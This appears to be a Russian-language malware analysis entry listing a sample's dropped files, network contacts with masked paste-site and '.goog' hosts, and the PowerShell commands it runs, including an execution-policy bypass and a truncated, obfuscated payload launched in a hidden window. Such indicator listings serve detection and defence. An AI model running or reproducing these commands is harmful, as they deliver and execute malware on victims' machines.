Техническая информация
- %TEMP%\dll01.txt
- %TEMP%\dll02.txt
- 'pa###bin.com':443
- 'pk#.goog':80
- 'pa###bin.com':443
- DNS ASK pa###bin.com
- DNS ASK pk#.goog
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File %TEMP%\dll03.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj... (со скрытым окном)